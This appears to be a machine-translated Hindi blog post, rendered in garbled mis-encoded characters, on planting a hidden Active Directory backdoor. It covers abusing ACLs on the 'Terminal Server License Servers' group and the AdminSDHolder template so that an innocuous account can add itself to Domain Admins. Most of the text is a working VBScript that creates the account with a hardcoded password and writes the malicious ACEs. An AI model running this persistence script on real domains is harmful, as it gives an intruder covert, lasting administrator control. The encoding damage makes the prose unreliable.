рдирд┐рдпрдд рд╕рдордп рдореЗрдВ, рдПрдХ рд╕рд╛рд▓ рд╕реЗ рднреА рдХрдо рд╕рдордп рдореЗрдВ, рдЗрд╕реА рддрд░рд╣ рдХреЗ рд╢реАрд░реНрд╖рдХ рдХреЗ рд╕рд╛рде рдкреНрд░рдХрд╛рд╢рди рдПрдХ рд╣реИрдмрд░ [
1 ] рдкрд░ рдЪрдордХрддрд╛ рдерд╛ред рдЗрд╕рдореЗрдВ, рд▓реЗрдЦрдХ рдиреЗ "рдЫрд┐рдкрд╛ рд╣реБрдЖ" рдЦрд╛рддреЗ рдХреА рдкрд╣реБрдВрдЪ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП, рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рдЖрдХреНрд░рд╛рдордХ рдкрд░рд┐рд╕реАрдорди рдХреЗ рд╕рд╛рде, рдПрдХ "рдЫрд┐рдкреЗ рд╣реБрдП" рдЦрд╛рддреЗ рдХреА рдореЗрдЬрдмрд╛рдиреА рдХреЗ рд▓рд┐рдП рдПрдХ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдбреЗрдЯрд╛ рд╕рд░реНрд╡рд┐рд╕ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдбреЛрдореЗрди рдкреНрд░рд╢рд╛рд╕рдХ рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдЫрд┐рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд┐рдзрд┐ рдХрд╛ рдкреНрд░рд╕реНрддрд╛рд╡ рд░рдЦрд╛ред рд╣рд╛рд▓рд╛рдВрдХрд┐, рд▓реЗрдЦрдХ рдХреЗ рдЖрд╢реНрд╡рд╛рд╕рди рдХреЗ рдмрд╛рд╡рдЬреВрдж, "рдЫрд┐рдкрд╛ рд╣реБрдЖ" рдЦрд╛рддрд╛ рдФрд░ рдЙрд╕рдХреЗ рдмрд╛рдж рдХреЗ рд╡рд┐рд▓реЛрдкрди рдХреА рдЦреЛрдЬ рдХреБрдЫ рд╣реА рдХреНрд▓рд┐рдХ рдореЗрдВ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред
1. рдЦрд╛рддреЗ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рдФрд░ рдмрд┐рдирд╛ рд╣рдЯрд╛рдП рд╣рдЯрд╛рдирд╛ (рд▓реЗрдЦрдХ [
1 ] рдХреЗ рдЙрд▓реНрдЯреЗ рдЖрд╢реНрд╡рд╛рд╕рдиреЛрдВ рдХреЗ рдмрд╛рд╡рдЬреВрдж)ред

2. рд╕рдХреНрд░рд┐рдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕реЗ рдирд┐рд╢рд╛рди рд╣рдЯрд╛рдирд╛ред




рдпрд╛рдиреА рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╡реНрдпрд╡рд╣рд╛рд░ рдореЗрдВ рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ред рд▓реЗрдХрд┐рди рд╢рд╛рдпрдж рдЗрд╕ рд╡рд┐рдзрд┐ рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрдзрд┐рдХ рдЙрдкрдпреБрдХреНрдд рд╡рд┐рдХрд▓реНрдк рд╣реИ (рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХреЛрдВ рдкрд░ rootkits рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдмрд┐рдирд╛ :))?
рдЗрд╕ рддрдереНрдп рдХреЗ рдХрд╛рд░рдг рдХрд┐ рдореЗрд░реА рдЧрддрд┐рд╡рд┐рдзрд┐ рд╕реАрдзреЗ
рдкреНрд░рд╡реЗрд╢ рдкрд░реАрдХреНрд╖рдг рдЖрдпреЛрдЬрд┐рдд рдХрд░рдиреЗ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИ, рдпрд╣ рдкреНрд░рд╢реНрди рдХреБрдЫ рд╕рдордп рд╕реЗ рдореЗрд░реЗ рд╕рд┐рд░ рдореЗрдВ рд╣реИред рдФрд░ рд╡рд╣ рдЙрд╕ рдмрд┐рдВрджреБ рдХреА рдУрд░ рдореБрдбрд╝ рдЧрдпрд╛, рдЬрд╣рд╛рдВ рдЙрджреНрдпрдо рдореЗрдВ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрд┐рдХрд╛ рдХреЗ рд╢реЗрд╖ рд░рд╣рдиреЗ рдФрд░ рд╕реВрдЪрдирд╛ рдкреНрд░рдгрд╛рд▓реА рдкрд░ рдкреНрд░рднрд╛рд╡ рдХреЛ рдХрдо рдХрд░рдиреЗ рдХреА рд╢рд░реНрдд рдХреЛ рдкреВрд░рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд▓рдВрдмреЗ рд╕рдордп рддрдХ рдХрд┐рд╕реА рдПрдХ рдХрд╛рдо рдкрд░ рдЬрд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рдереАред
рдЬреИрд╕рд╛ рдХрд┐ рдЬрд╛рд╕реВрд╕реА рдЙрдкрдиреНрдпрд╛рд╕реЛрдВ рдХреЗ рдПрдХ рдкреНрд░рд╕рд┐рджреНрдз рд▓реЗрдЦрдХ рдиреЗ рдХрд╣рд╛:
- рд╢реАрдЯ рдХреЛ рдЫрд┐рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдЕрдЪреНрдЫреА рдЬрдЧрд╣ рдХрд╣рд╛рдВ рд╣реИ?
- рдкрддрдЭрдбрд╝ рдХреЗ рдЬрдВрдЧрд▓ рдореЗрдВ!
"рдПрдХ рдкрддреНрдерд░ рдХреЛ рдЫрд┐рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдЕрдЪреНрдЫреА рдЬрдЧрд╣ рдХрд╣рд╛рдБ рд╣реИ?"
- рд╕рдореБрджреНрд░ рдХреЗ рдХрд┐рдирд╛рд░реЗ!
"рдФрд░ рд▓рд╛рд╢ рдХреЛ рдЫрд┐рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдЕрдЪреНрдЫреА рдЬрдЧрд╣ рдХрд╣рд╛рдБ рд╣реИ?"
- рдпреБрджреНрдз рдХреЗ рдореИрджрд╛рди рдкрд░ред
рдбреЛрдореЗрди рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рд╕рд╛рде рдПрдХ рд╕рдорд╛рдирд╛рдВрддрд░ рдбреНрд░рд╛рдЗрдВрдЧ, рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд░рдгрдиреАрддрд┐ рдХрд╛ рдкрд╛рд▓рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
- рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ рдХреЛ рдЫрд┐рдкрд╛рдирд╛ рдмреЗрд╣рддрд░ рдирд╣реАрдВ рд╣реИ, рд▓реЗрдХрд┐рди рдЗрд╕реЗ рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛рдУрдВ рдХреЗ рдмрдбрд╝реЗ рд╕рдВрдЪрдп рдХреЗ рд╕рд╛рде рдПрдХ рд╣реА рдХрдВрдЯреЗрдирд░ рдореЗрдВ рд░рдЦрдирд╛ рд╣реИред рдЙрд╕реА рд╕рдордп, рдирд┐рд░реНрдорд┐рдд рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ рдпрдерд╛рд╕рдВрднрд╡ рд╕рд╛рдорд╛рдиреНрдп рдХреЙрд░реНрдкреЛрд░реЗрдЯ рдЦрд╛рддреЗ рдХреЗ рд╕рдорд╛рди рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред
- рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ рд╕реАрдзреЗ рдбреЛрдореЗрди рдореЗрдВ рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рд╡рд╛рд▓реЗ рд╕рдореВрд╣реЛрдВ рдХрд╛ рд╕рджрд╕реНрдп рдирд╣реАрдВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХреНрд╕реЗрд╕ рдХрдВрдЯреНрд░реЛрд▓ рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдмреЗрд╣рддрд░ рд╣реИ, рдЬреИрд╕рд╛ рдХрд┐ рдиреАрдЪреЗ рджреА рдЧрдИ рддрд╕реНрд╡реАрд░ рдореЗрдВ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИред

- рдбреЛрдореЗрди рдореЗрдВ рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рд╡рд╛рд▓реЗ рд╕рдореВрд╣реЛрдВ рдХреЗ рд▓рд┐рдП рдкрд╣реБрдБрдЪ рдирд┐рдпрдВрддреНрд░рдг рд╕реВрдЪрд┐рдпреЛрдВ рдореЗрдВ рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд┐рдЫрд▓реЗ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ рдХреЛ "рдЪрдордХ" рдХрд░рдирд╛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдмреБрджреНрдзрд┐рдорд╛рди рдирд╣реАрдВ рд╣реИред рдЕрдзрд┐рдХ рдЙрдЪрд┐рдд рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╕реБрд░рдХреНрд╖рд╛ рд╕рдореВрд╣реЛрдВ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХрд╛ рд╡рд┐рд╕реНрддрд╛рд░ рдХрд░рдирд╛ рд╣реИ рдЬреЛ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдбреЛрдореЗрди рдореЗрдВ рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рд╡рд╛рд▓реЗ рд╕рдореВрд╣реЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХреНрд╕реЗрд╕ рдХрдВрдЯреНрд░реЛрд▓ рд╕реВрдЪрд┐рдпреЛрдВ рдореЗрдВ рдПрд╕реАрдПрд▓ рдХреЗ рд╕рджрд╕реНрдп рд╣реИрдВред рдЗрди рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП, "рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд \ рдЯрд░реНрдорд┐рдирд▓ рд╕рд░реНрд╡рд░ рд▓рд╛рдЗрд╕реЗрдВрд╕ рд╕рд░реНрд╡рд░" рд╕рдореВрд╣ рдЕрдЪреНрдЫреА рддрд░рд╣ рд╕реЗ рдЕрдиреБрдХреВрд▓ рд╣реИ:

рдЗрд╕рд▓рд┐рдП, рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рдПрдХ рдмреИрдХрдбреЛрд░ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдКрдкрд░ рд╡рд░реНрдгрд┐рдд рдкрд░рд┐рджреГрд╢реНрдп рдХреЗ рдЕрдиреБрд╕рд╛рд░, рдЖрдкрдХреЛ рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ:
1. рдПрдХ рдЕрд╕рдВрдЧрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ;
2. рдЗрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ "рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд \ рдЯрд░реНрдорд┐рдирд▓ рд╕рд░реНрд╡рд░ рд▓рд╛рдЗрд╕реЗрдВрд╕ рд╕рд░реНрд╡рд░" рд╕рдореВрд╣ рдХреЗ рд╕рджрд╕реНрдпреЛрдВ рдХреА рд╕реВрдЪреА рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВ;
3. "рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд \ рдЯрд░реНрдорд┐рдирд▓ рд╕рд░реНрд╡рд░ рд▓рд╛рдЗрд╕реЗрдВрд╕ рд╕рд░реНрд╡рд░" рд╕рдореВрд╣ рдХреЗ рд╕рджрд╕реНрдпреЛрдВ рдХреА рд╕реВрдЪреА рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, "рдбреЛрдореЗрди рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ"ред
рдпрд╣рд╛рдВ рдпрд╣ рдПрдХ рдЫреЛрдЯреА рд╕реА рдмрд╛рд░реАрдХрд┐рдпреЛрдВ рдХреЛ рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рд╣реИред рдбреЛрдореЗрди рдПрдбрдорд┐рди рдЧреНрд░реБрдк рдХреЗ рд▓рд┐рдП рдПрдХреНрд╕реЗрд╕ рдХрдВрдЯреНрд░реЛрд▓ рд▓рд┐рд╕реНрдЯ рдмрджрд▓рдирд╛ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИред рддрдереНрдп рдпрд╣ рд╣реИ рдХрд┐ рд╕рдХреНрд░рд┐рдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╡рд╛рд╕реНрддреБрдХрд▓рд╛ рд╕рдмрд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╡рд╕реНрддреБрдУрдВ рдХреА рдкрд╣реБрдВрдЪ рдирд┐рдпрдВрддреНрд░рдг рд╕реВрдЪрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ (adminSDHolder, [
2 ]), рдЬрд┐рд╕рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:
- рдПрдВрдЯрд░рдкреНрд░рд╛рдЗрдЬ рдПрдбрдорд┐рдиреНрд╕
- рд╕реНрдХреАрдорд╛ рдкреНрд░рд╡реЗрд╢
- рдбреЛрдореЗрди рдкреНрд░рд╡реЗрд╢
- рдкреНрд░рд╢рд╛рд╕рдХ
- рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ
- рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдкрдмреНрд▓рд┐рд╢рд░реНрд╕
- рдмреИрдХрдЕрдк рдСрдкрд░реЗрдЯрд░
- рд░реЗрдкреНрд▓рд┐рдХреЗрдЯрд░ рд╕рд░реНрд╡рд░ рдСрдкрд░реЗрдЯрд░реНрд╕
- рдЦрд╛рддрд╛ рд╕рдВрдЪрд╛рд▓рдХ
- рдкреНрд░рд┐рдВрдЯ рдСрдкрд░реЗрдЯрд░реНрд╕
рд╣рд░ рдШрдВрдЯреЗ рдУрд╡рд░рд░рд╛рдЗрдЯ рдирд╣реАрдВ рдХрд┐рдП рдЧрдП рдЙрдкрд░реЛрдХреНрдд рд╕рдореВрд╣реЛрдВ рдХреА рдкрд╣реБрдБрдЪ рдирд┐рдпрдВрддреНрд░рдг рд╕реВрдЪреА рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдпрд╛ рддреЛ рдСрдмреНрдЬреЗрдХреНрдЯ рдкрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ рдПрдХреНрд╕реЗрд╕ рдХрдВрдЯреНрд░реЛрд▓ рд╕реВрдЪреА рдХреЛ рдмрджрд▓рдирд╛ рд╣реЛрдЧрд╛ "CN = AdminSDHolder, CN = System", рдпрд╛ рдЗрдЪреНрдЫрд┐рдд рд╡рд╕реНрддреБ рдХреЗ рд▓рд┐рдП рд╢реВрдиреНрдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП "AdminCount" рд╡рд┐рд╢реЗрд╖рддрд╛ рд╕реЗрдЯ рдХрд░реЗрдВ [
3 ]ред рдЦрд╛рдХрд╛ рдЕрднрд┐рдЧрдо рдирд┐рдпрдВрддреНрд░рдг рд╕реВрдЪреА рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдореБрдЭреЗ рдЕрдзрд┐рдХ рдЖрд╢рд╛рдЬрдирдХ рд▓рдЧрддрд╛ рд╣реИ рд╕рдХреНрд░рд┐рдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рдЗрд╕ "рд╕реБрд░рдХреНрд╖рд╛рддреНрдордХ" рддрдВрддреНрд░ рд╕реЗ рд╣рд░ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкрд░рд┐рдЪрд┐рдд рдирд╣реАрдВ рд╣реИред
рд╕рдХреНрд░рд┐рдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдмреБрдХрдорд╛рд░реНрдХ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдиреАрдЪреЗ рджреА рдЧрдИ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
On Error Resume Next
'
username = "PT"
password = "P@ssw0rd"
' ,
userDN = "cn=Users"
' , ACLs Domain Admins
joinGroupDN = "cn=Terminal Server License Servers, cn=Builtin"
joinGroup = "BUILTIN\Terminal Server License Servers"
'
adminsGroup = "CN=Domain Admins,CN=Users"
Dim objRoot, objContainer, objUser, objGroup, objSysInfo, strUserDN
Set objSysInfo = CreateObject("ADSystemInfo")
strUserDN = objSysInfo.userName
Set objUser = GetObject("LDAP://" & strUserDN)
Set objRoot = GetObject("LDAP://rootDSE")
Set objContainer = GetObject("LDAP://" & userDN & "," & objRoot.Get("defaultNamingContext"))
'
Set objUserCreate = objContainer.Create("User", "cn=" & username)
objUserCreate.Put "sAMAccountName", username
objUserCreate.SetInfo
On Error Resume Next
' , ;)
objUserCreate.SetPassword password
objUserCreate.Put "userAccountControl", 66048
objUserCreate.SetInfo
On Error Resume Next
' Terminal Server License Servers
GroupAddAce joinGroupDN,username
' Terminal Server License Servers Domain Admins
GroupAddAce adminsGroup,joinGroup
' "" ACL
GroupAddAce "CN=AdminSDHolder,CN=System",joinGroup
Function GroupAddAce(toGroup,forGroup)
Dim objSdUtil, objSD, objDACL, objAce
Set objGroup = GetObject ("LDAP://" & toGroup & "," & objRoot.Get("defaultNamingContext"))
Set objSdUtil = GetObject(objGroup.ADsPath)
Set objSD = objSdUtil.Get("ntSecurityDescriptor")
Set objDACL = objSD.DiscretionaryACL
Set objAce = CreateObject("AccessControlEntry")
objAce.Trustee = forGroup
objAce.AceFlags = 0
objAce.AceType = 5
objAce.AccessMask = 32
objAce.Flags = 1
objAce.ObjectType = "{BF9679C0-0DE6-11D0-A285-00AA003049E2}"
objDacl.AddAce objAce
objSD.DiscretionaryAcl = objDacl
objSDUtil.Put "ntSecurityDescriptor", Array(objSD)
objSDUtil.SetInfo
End Function
рдпрд╣ рдЬреЛрдбрд╝рдиреЗ рдпреЛрдЧреНрдп рд╣реИ рдХрд┐ рдЗрд╕рдХреА рд╕рд╛рджрдЧреА рдХреЗ рдмрд╛рд╡рдЬреВрдж, рдирд┐рд░рдВрддрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдирд┐рдпрдВрддреНрд░рдг рдХреЗ рд╕рд╛рдзрдиреЛрдВ рдХреЗ рдмрд┐рдирд╛ рдЗрд╕ рддрд░рд╣ рдХреЗ рдмреБрдХрдорд╛рд░реНрдХ рдХреЛ рдвреВрдВрдврдирд╛ рдХрд╛рдлреА рдореБрд╢реНрдХрд┐рд▓ рд╣реИред рдФрд░ рд╡рд┐рдЪрд╛рд░ рдХреЛ рд╡рд┐рдХрд╕рд┐рдд рдХрд░рддреЗ рд╣реБрдП, рдЖрдк рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ рдмреБрдХрдорд╛рд░реНрдХ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕реЛрдЪ рд╕рдХрддреЗ рд╣реИрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХреЛрдВ рдЖрджрд┐ рдХреЗ рд▓рд┐рдП OU рдХреЗ рд▓рд┐рдП рд╕рдореВрд╣ рдиреАрддрд┐рдпреЛрдВ рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЖрджрд┐ред